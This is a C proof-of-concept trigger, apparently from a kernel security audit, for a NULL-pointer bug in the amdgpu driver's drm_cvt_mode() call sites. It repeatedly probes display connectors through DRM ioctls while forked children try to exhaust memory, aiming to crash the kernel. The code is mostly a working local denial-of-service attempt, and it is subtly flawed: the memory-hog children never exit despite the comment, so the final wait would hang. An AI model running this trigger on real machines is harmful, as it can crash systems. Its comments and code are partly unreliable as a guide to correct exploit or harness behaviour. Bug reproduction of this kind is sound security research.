/*
 * trigger_df4202.c — DF-4202: unchecked drm_cvt_mode() results in
 * amdgpu_connector_lcd_native_mode (deref at :406) and
 * amdgpu_connector_add_common_modes (drm_mode_probed_add(NULL) at :460).
 *
 * drm_cvt_mode() returns NULL when drm_mode_create() fails (kzalloc or
 * drm_mode_object_add IDR failure — drm_modes.c:66-80,143-169). The two
 * amdgpu sites use the result without a NULL check:
 *
 *   :405  mode = drm_cvt_mode(dev, hdisplay, vdisplay, 60, true, false, false);
 *   :406  mode->type = DRM_MODE_TYPE_PREFERRED | DRM_MODE_TYPE_DRIVER;  <- deref
 *   :459  mode = drm_cvt_mode(dev, w, h, 60, false, false, false);
 *   :460  drm_mode_probed_add(connector, mode);  <- list_add on NULL
 *
 * Reach: LVDS/eDP get_modes (amdgpu_connector_lvds_get_modes:668/676,
 * amdgpu_connector_dp_get_modes:1251/1259) — i.e. every laptop panel mode
 * probe without EDID modes — under kernel memory exhaustion (OOM-gated).
 *
 * This trigger hammers the probe path while a forked hog drives the system
 * toward memory exhaustion. Self-contained struct defs.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <stdint.h>

typedef uint32_t __u32;
typedef uint64_t __u64;
#include <sys/wait.h>

#define DRM_IOCTL_BASE			'd'
#define DRM_IOCTL_MODE_GETRESOURCES	_IOWR(DRM_IOCTL_BASE, 0xA0, struct drm_mode_card_res)
#define DRM_IOCTL_MODE_GETCONNECTOR	_IOWR(DRM_IOCTL_BASE, 0xA7, struct drm_mode_get_connector)

struct drm_mode_card_res {
	__u64 fb_id_ptr, crtc_id_ptr, connector_id_ptr, encoder_id_ptr;
	__u32 count_fbs, count_crtcs, count_connectors, count_encoders;
	__u32 min_width, max_width, min_height, max_height;
};
struct drm_mode_get_connector {
	__u64 encoders_ptr, modes_ptr, props_ptr, prop_values_ptr;
	__u32 count_modes, count_props, count_encoders;
	__u32 encoder_id, connector_id, connector_type, connector_type_id;
	__u32 connection, mm_width, mm_height, subpixel;
};

static int probe_all(int fd, __u32 *ids, int n)
{
	struct drm_mode_get_connector conn;
	int i, rounds = 0;
	for (i = 0; i < n; i++) {
		memset(&conn, 0, sizeof(conn));
		conn.connector_id = ids[i];
		conn.count_modes = 0;	/* force fill_modes -> get_modes */
		if (ioctl(fd, DRM_IOCTL_MODE_GETCONNECTOR, &conn) < 0)
			return -1;
		rounds++;
	}
	return rounds;
}

int main(int argc, char **argv)
{
	struct drm_mode_card_res res;
	__u32 ids[32];
	int fd, i;

	fd = open("/dev/dri/card0", O_RDWR | O_CLOEXEC);
	if (fd < 0) {
		printf("DF-4202 trigger: no /dev/dri/card0 — no DRM hardware on "
		       "this guest; amdgpu LVDS get_modes unreachable.\n");
		return 1;
	}

	memset(&res, 0, sizeof(res));
	res.count_connectors = 0;
	ioctl(fd, DRM_IOCTL_MODE_GETRESOURCES, &res);
	memset(ids, 0, sizeof(ids));
	res.connector_id_ptr = (__u64)ids;
	if (res.count_connectors > 32)
		res.count_connectors = 32;
	if (ioctl(fd, DRM_IOCTL_MODE_GETRESOURCES, &res) < 0) {
		perror("GETRESOURCES");
		return 1;
	}
	printf("DF-4202 trigger: %u connectors; hammering get_modes "
	       "(drm_cvt_mode sites :405/:459) %s\n", res.count_connectors,
	       argc > 1 ? "with memory-hog children" : "");

	if (argc > 1) {
		/* OOM pressure: children allocate until ENOMEM, then exit so
		 * the harness itself survives; kernel allocations for
		 * drm_mode_create then start failing on the probe path. */
		for (i = 0; i < 4; i++) {
			pid_t pid = fork();
			if (pid == 0) {
				for (;;)
					malloc(1 << 20);	/* die on ENOMEM */
				_exit(0);
			}
		}
	}

	for (i = 0; i < 20000; i++) {
		if (probe_all(fd, ids, res.count_connectors) < 0) {
			perror("probe");
			break;
		}
	}
	if (argc > 1)
		while (wait(NULL) > 0)
			;
	printf("DF-4202 trigger: completed (no panic on this machine)\n");
	return 0;
}
